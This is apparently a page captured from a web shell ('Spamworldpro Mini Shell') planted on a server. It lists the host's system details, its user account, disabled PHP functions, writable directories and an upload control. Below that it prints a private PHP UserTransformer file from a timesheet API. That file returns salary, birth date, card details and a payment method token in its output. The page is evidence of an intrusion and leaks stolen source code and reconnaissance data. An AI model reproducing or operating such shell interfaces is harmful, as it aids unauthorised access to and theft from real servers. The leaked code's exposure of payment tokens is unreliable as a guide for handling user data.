Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/ts.corals.io/corals-api/Corals/core/User/Transformers/API/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/ts.corals.io/corals-api/Corals/core/User/Transformers/API/UserTransformer.php
<?php

namespace Corals\User\Transformers\API;

use Corals\Foundation\Transformers\APIBaseTransformer;
use Corals\Modules\Timesheet\Facades\Timesheet;
use Corals\Modules\Utility\Facades\ListOfValue\ListOfValues;
use Corals\Settings\Facades\Settings;
use Corals\User\Models\User;

class UserTransformer extends APIBaseTransformer
{
    /**
     * @param User $user
     * @return array
     * @throws \Throwable
     */
    public function transform(User $user)
    {
        $client = Timesheet::getUserClients($user);

        $permissions = $user->getAllPermissions()
            ->pluck('name')
            ->toArray();

        $positions = ListOfValues::get('positions');
        $employee_type = ListOfValues::get('employee_type');

        if ($this->isInEditMode()) {
            $userRate = $user->hourly_rate;
        } else {
            $userRate = $user->hourly_rate ?? 0;

            if (!$userRate && $user->salary) {
                $userRate = round($user->salary / Settings::get('total_working_hours_per_month', 176), 1);
            }

            if (!$userRate) {
                $userRate = '-';
            }
        }

        $transformedArray = [
            'id' => $user->id,
            'full_name' => $user->full_name,
            'name' => $user->name,
            'last_name' => $user->last_name,
            'email' => $user->email,
            'client_id' => data_get($client, 'id'),
            'permissions' => $permissions,
            'status' => $this->isInEditMode() ? $user->status : formatStatusAsLabels($user->status),
            'confirmed' => $user->confirmed,
            'roles' => $user->roles->pluck('id')->toArray(),
            'roles_names' => $user->roles()->select('name', 'dashboard_url')->get(),
            'roles_as_labels' => formatArrayAsLabels($user->roles->pluck('label'), 'primary'),
            'job_title' => $user->job_title,
            'picture' => $user->picture,
            'picture_thumb' => $user->picture_thumb,
            'about' => $user->getProperty('about'),
            'phone_country_code' => $user->phone_country_code,
            'phone_number' => $user->phone_number,
            'address' => $user->getRawOriginal('address') ? $user->address : null,
            'integration_id' => $user->integration_id,
            'gateway' => $user->gateway,
//            'projects_with_client' => $this->getUserProjectsWithClients($user),
            'hourly_rate' => $userRate,
            'salary' => $this->isInEditMode() ? $user->salary : ($user->salary ? ($user->salary . '/' . ucfirst($user->salary_period)) : $user->salary ?? '-'),
            'working_hours' => $user->working_hours,
            'salary_period' => $user->salary_period,
            'employee_type' => $user->employee_type,
            'employee_type_as_label' => $user->employee_type ? data_get($employee_type, $user->employee_type, $user->employee_type) : '-',
            'start_date' => $user->start_date,
            'position' => $this->isInEditMode() ? $user->position : ($user->position ? data_get($positions, $user->position, $user->position) : '-'),
            'card_brand' => $user->card_brand,
            'birth_date' => $user->birth_date,
            'birth_date_visible' => $user->birth_date_visible,
            'card_last_four' => $user->card_last_four,
            'payment_method_token' => $user->payment_method_token,
            'is_timesheet_administration' => Timesheet::isTimesheetAdministration(),
            'properties' => $user->getProperties() ?? [],
            'default_activity_id' => optional($user->defaultActivity)->title,
            'created_at' => format_date($user->created_at),
            'updated_at' => format_date($user->updated_at),
        ];

        return parent::transformResponse($transformedArray, $user);
    }

    protected function getUserProjectsWithClients($user)
    {
        $projectsWithClients = [];
        foreach ($user->projects as $project) {
            if (empty($projectsWithClients[$project->client_id])) {
                $projectsWithClients[$project->client_id] = [
                    'client' => $project->client->name,
                    'projects' => [],
                ];
            }
            $projectsWithClients[$project->client_id]['projects'][] = [
                'project_name' => $project->name,
            ];
        }

        return $projectsWithClients;
    }
}

Spamworldpro Mini